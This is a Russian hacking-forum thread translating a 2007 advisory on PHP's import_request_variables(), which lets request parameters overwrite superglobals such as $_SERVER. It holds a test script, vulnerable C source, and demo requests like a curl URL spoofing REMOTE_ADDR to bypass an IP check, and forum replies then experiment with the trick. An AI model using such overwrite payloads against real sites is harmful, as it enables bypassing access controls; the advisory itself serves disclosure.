ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Перевод]Перезапись произвольных переменных через import_request_variables() в PHP
  #1  
Старый 29.03.2007, 21:24
Аватар для NeMiNeM
NeMiNeM
Постоянный
Регистрация: 22.08.2005
Сообщений: 540
Провел на форуме:
4372175

Репутация: 1221


По умолчанию [Перевод]Перезапись произвольных переменных через import_request_variables() в PHP

Перезапись произвольных переменных через import_request_variables() в PHP

1) Уязвимость: Используя import_request_variables() можно перезаписать $_* и $* (любые переменные PHP).
2) Дата: 09.03.2007
3) Под угрозой: PHP >=4.0.7 <=5.2.1
4) Опасность: Высокая
5) Производитель: http://www.php.net/
6) Инструкции/Источник: http://www.wisec.it/vulns.php?id=10
http://www.wisec.it/vuln_10.txt
7) Автор: Stefano `wisec` di Paola (stefano.dipaola@wisec.it)
Francesco `ascii` Ongaro (ascii@ush.it)
8) Перевод: NeMiNeM

I. Вступление
PHP это скриптовый язык. Поскольку в прошлом PHP включал по умолчанию GLOBALS программисты писали приложения используя этот метод ввода, теперь, когда конфигурации с GLOBALS ON отошли (хотя всё ещё используются многими вэб-хостингами), программисты вместо переписывания кода, сами добавляют патчи для реализации superglobals.

Такие коды приносили разработчикам больше проблем чем выгод и они решили добавить функцию для безопасного импорта части всего _REQUEST. Эта функция называется import_request_variables() и существует начиная с PHP 4.0.7.


2. Описание.
Цитата из справочника по PHP:
Цитата:
Импортирует переменные GET/POST/Cookie в глобальную область видимости. Это применяется, если вы отключили register_globals, но хотели бы увидеть некоторые переменные в глобальной области.
Значит import_request_variables() имитирует register globals on но немножко отличаеться от extract().
(Мини-разведку import_request_variables() против extract() читаем в конце статьи).
Цитата:
Примечание: хотя параметр prefix является необязательным, вы получите ошибку уровня E_NOTICE, если не специфицируете префикс или специфицируете пустую строку в качестве префикса. Это может нарушить безопасность. Ошибки уровня Notice/уведомление не выводятся при использовании уровня сообщения об ошибках по умолчанию.
Они предупреждают нас о префиксе и это правильно: во-первых, без prefix у нас будут такие же проблемы globals on.

Во-вторых это то, о чём идёт речь в этой инструкции по безопасности: использование фунцкии import_request_variables даёт возможность перезаписать массивы $_GET $_POST $_COOKIE $_FILES $_SERVER $_SESSION и все другие, которые мы не назвали.

Мы проводим дальнейшие исследование над _FILES и похоже возможно перезаписать массив но мы не уверены что таким образом можно обмануть скрипты загрузки файла.

Если дать взломщику определённые точки входа (первый аргумент функции это нечувствительная к регистру строка методов ввода которые импортируют. G значит GET, P - Post и C - Cookie), он сможет перезаписать любой внутренний и защищённый массив.

Как результат, если у вас REGISTER GLOBALS ON вы НАМНОГО больше в безопасности.

Есть небольшой бонус: как выделено в фрагментах кода в следующем разделе Анализ, символ P будет включать точку входа как POST так и FILES, таким образом import_request_variables('GPC') будет давать глобальную область видимости всего, что указано в GET POST COOKIE и в FILES.

3. Анализ
import_request_variables это не новость в уязвимостях: рассмотрим этот журнал изменений за 24 Ноября 2005, PHP 5.1.

Цитата:
- Устранена потенциальная возможность перезаписи посредством import_request_variables и возможные крэши и/или разрушения памяти.
Используя нижеследующий тестовый комплект, запустите скрипт в перезаписываемый каталог внутри корневого каталога, потом через браузер перейдите к файлу test.php и попробуйте.

testsuite.sh
Цитата:
#!/bin/bash

mkdir hack-php_import_request_variables && cd
hack-php_import_request_variables

echo "Testing cli.."

echo "register_globals = Off" > php-ini-globals-off
php -c php-ini-globals-off -r "echo (int)ini_get("register_globals");"

echo "register_globals = On" > php-ini-globals-on
php -c php-ini-globals-on -r "echo (int)ini_get("register_globals");"

echo "Testing mod.."

mkdir globals-on && mkdir globals-off

cat > globals-on/test.php << TOKEN
<pre><?php
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
echo '<h1>GET</h1>'."n"; print_r(\$_GET);
echo '<h1>POST</h1>'."n"; print_r(\$_POST);
echo '<h1>COOKIE</h1>'."n"; print_r(\$_COOKIE);
echo '<h1>SERVER</h1>'."n"; print_r(\$_SERVER);
echo '<h1>SESSION</h1>'."n"; print_r(\$_SESSION);
echo '<h1>FILES</h1>'."n"; print_r(\$_FILES);
?></pre>
TOKEN
cp globals-on/test.php globals-off/test.php

echo "php_value register_globals on" > globals-on/.htaccess
echo "php_value register_globals off" > globals-off/.htaccess
Рекомендуемые тесты:
- test.php?_SERVER=string (перезаписать массив $_SERVER и сделать его строкой)
- test.php?_SERVER[REMOTE_ADDR]=обход проверки IP клиента
- test.php?_SERVER[HTTP_REFERER]=обход проверки реферала.
и т.д.

Уязвимость в этой строке:
./ext/standard/basic_functions.c:PHP_FUNCTION(import_request_vari ables)
./Zend/zend_hash.c:ZEND_API void
zend_hash_apply_with_arguments(HashTable *ht, apply_func_args_t
apply_func, int num_args, ...)

Фрагмент уязвимого кода:
PHP код:
PHP_FUNCTION(import_request_variables) { 
[..] 
if (
prefix_len == 0) { 
php_error_docref(NULL TSRMLS_CCE_NOTICE"No prefix specified - 
possible security hazard"
); 

[..] 
for (
types&& *pp++) { 
 switch (*
p) { 
  case 
'g': case 'G'
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
VARS_GET
]), 
(
apply_func_args_tcopy_request_variable2prefixprefix_len);break; 
  case 
'p': case 'P'
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
VARS_POST
]), 
(
apply_func_args_tcopy_request_variable2prefixprefix_len); 
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
VARS_FILES
]), 
(
apply_func_args_tcopy_request_variable2prefixprefix_len); 
break; 
  case 
'c': case 'C'
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_
VARS_COOKIE
]), 
(
apply_func_args_tcopy_request_variable2prefixprefix_len);break; 
 } 

[..] 

Как видим есть разные точки входа, но "вывод" это глобальная область видимости.

example.php
PHP код:
<?php 
echo 'GLOBALS '.(int)ini_get("register_globals")."n"
import_request_variables('GPC'); 
if (
$_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); 
echo 
'Hello admin!'
?>
curl http://URL/example.php?_SERVER[REMOTE_ADDR]=10.1.1.1
Выдаст вам: Hello admin!


Дополнение (автор:Francesco 'ascii' Ongaro)

import_request_variables() против extract()

Пожалуйста, обратите внимание, что extract() также заменит любую переменную кроме $GLOBALS, но главное отличие в том, что http://it2.php.net/extract не рекомендуют нам использовать extract() против ненадежных данных, например $_GET, ....
Цитата:
Если вы желаете запустить старый код который временно полагается на register_globals, убедитесь что вы используете одно с неперезаписываемых значений extract_type как например EXTR_SKIP и имейте ввиду что вы должны извлечь в порядке, который определён в variables_order внутри php.ini
Фактически у extract() есть флажок EXTR_SKIP и если есть конфликт, существующая переменная не перезаписывается.

Использование extract() с EXTR_SKIP даст нам что-то типа GLOBALS ON но безопаснее в сравнении с тем, что случится если использовать extract($_GET); или import_request_variables('G');

test1.php
PHP код:
<?php 
extract
($_GET); 
print_r($_SERVER); 
?>
Демо: test1.php?SERVER=abc
Ожидаемый результат: массив _SERVER станет строкой.

Мораль в том, что небезопасное использование extract() разработчиком будет его ошибкой, но нет надежного использования import_request_variables и это на 100% промах PHP.
-------------------

Источники:
http://security.nnov.ru/news/PHP/import_request_variables.html
http://security.nnov.ru/Qdocument280.html
http://security.nnov.ru/Qdocument289.html

(c) NeMiNeM
Специально для antichat.ru

ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить Спасибо.

Последний раз редактировалось NeMiNeM; 30.03.2007 в 00:17.. Причина: коечто исправил)
 
Ответить с цитированием

  #2  
Старый 02.04.2007, 15:53
Аватар для blaga
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
Провел на форуме:
2976185

Репутация: 694


Отправить сообщение для blaga с помощью ICQ
По умолчанию

Ребят пробовал я короче говоря эту тему но вот наткнулся на один косяк...
PHP код:
<?php  
echo 'GLOBALS '.(int)ini_get("register_globals")."n";  
import_request_variables('GPC');  
if (
$_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');  
echo 
'Hello admin!';  
?>
вот это из примера...
Я попробовал изменить вот так.
PHP код:
<?php  
echo 'GLOBALS '.(int)ini_get("register_globals")."n     ";  
import_request_variables('GPC','r_'); 
$tmp=$_SERVER['REMOTE_ADDR'] ; 
if (
$tmp != '10.1.1.1') die('Go away!');  
echo 
'Hello admin!';  
?>
я добавил в функцию import_request_variables('GPC','r_'); еще и префикс r_
и теперь у меня эта штука не работает при том что я обрашаюсь к скрипту
test.php?r_tmp=10.1.1.1
 
Ответить с цитированием

  #3  
Старый 02.04.2007, 16:31
Аватар для k1b0rg
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553

Репутация: 1316


По умолчанию

2blaga попробуй
test.php?r_SERVER[REMOTE_ADDR]=10.1.1.1
 
Ответить с цитированием

  #4  
Старый 02.04.2007, 18:30
Аватар для blaga
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
Провел на форуме:
2976185

Репутация: 694


Отправить сообщение для blaga с помощью ICQ
По умолчанию

2k1b0rg, пробовал вот так:
PHP код:
<?php  
echo 'GLOBALS '.(int)ini_get("register_globals")."n     ";  
import_request_variables('GPC','r_'); 
$tmp=$_SERVER['REMOTE_ADDR'] ; 
if (
$tmp != '10.1.1.1') die('Go away!');  
echo 
'Hello admin!';  
?>
обращался test.php?r_SERVER[REMOTE_ADDR]=10.1.1.1

и так пробовал:
PHP код:
<?php  
echo 'GLOBALS '.(int)ini_get("register_globals")."n     ";  
import_request_variables('GPC','r_'); 
 
if (
$_SERVER['REMOTE_ADDR']  != '10.1.1.1') die('Go away!');  
echo 
'Hello admin!';  
?>
обращался так же: test.php?r_SERVER[REMOTE_ADDR]=10.1.1.1

Ни у кого больше мыслей нет по сабжу?
 
Ответить с цитированием

  #5  
Старый 02.04.2007, 18:41
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Мда....может каждую дурку с баг репорта на пхп.нет будем сюда выкладывать?
 
Ответить с цитированием

  #6  
Старый 02.04.2007, 18:44
Аватар для blaga
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
Провел на форуме:
2976185

Репутация: 694


Отправить сообщение для blaga с помощью ICQ
По умолчанию

Это одна из самых серьезных багов в php. Если уметь ими пользоваться то можно очень много уязвимостей найти... Это посерьезнее многих баг описанных на этом форуме...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Books PSalm69 Избранное 248 27.10.2009 04:52
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ